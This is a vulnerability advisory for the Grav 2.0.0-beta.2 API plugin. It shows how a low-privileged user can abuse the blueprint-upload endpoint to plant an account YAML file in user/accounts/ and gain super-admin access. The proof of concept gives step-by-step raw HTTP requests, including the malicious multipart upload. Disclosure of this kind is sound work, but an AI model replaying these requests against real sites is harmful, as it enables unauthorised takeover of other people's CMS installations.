Low-privileged Grav API users can create super-admin accounts via blueprint-upload

Summary

In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.

This results in full administrative compromise of the Grav API.

Details

The vulnerability is located in the API plugin's blueprint upload flow:

• user/plugins/api/classes/Api/ApiRouter.php:261
• user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45
• user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114
• user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308
• user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417
• user/plugins/api/classes/Api/Controllers/AuthController.php:41-55

The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.

When the request uses:

• destination=self@:
• scope=users/anything

The server resolves the write target to the shared account directory:

user/accounts/

The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.

The required attacker privilege is low:

access:
  api:
    access: true
    media:
      write: true

PoC

Step 1: Authenticate as the low-privileged API user

POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"uploader","password":"Upload123A"}

Extract:

UPLOADER_TOKEN = <access_token from response>

Attachment:

<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />

Step 2: Upload a malicious account YAML file

POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close

------CodexBoundaryF01
Content-Disposition: form-data; name="destination"

self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"

users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml

email: attacker@example.com
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
  site:
    login: true
  api:
    super: true
------CodexBoundaryF01--

Expected result:

{
  "data": [
    {
      "name": "pwned.yaml",
      "path": "user/accounts/pwned.yaml"
    }
  ]
}

Attachment:

<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />

Step 3: Log in as the newly created account

POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"pwned","password":"Passw0rd!123"}

Expected result:

{
  "data": {
    "user": {
      "username": "pwned",
      "super_admin": true
    }
  }
}

Attachment:

<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />

Step 4: Verify privileged API access

GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close

Expected result:

The request succeeds and returns system-level information.

Attachment:

<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />

Impact

This is an authenticated vertical privilege-escalation vulnerability.

Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:

• modify content
• alter configuration
• manage users
• install or update plugins/themes
• access system-level administration features

In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.

This issue was reproduced locally:

• the upload response returned user/accounts/pwned.yaml
• logging in as pwned succeeded
• the new account had super_admin = true
• privileged endpoints such as /api/v1/system/info were accessible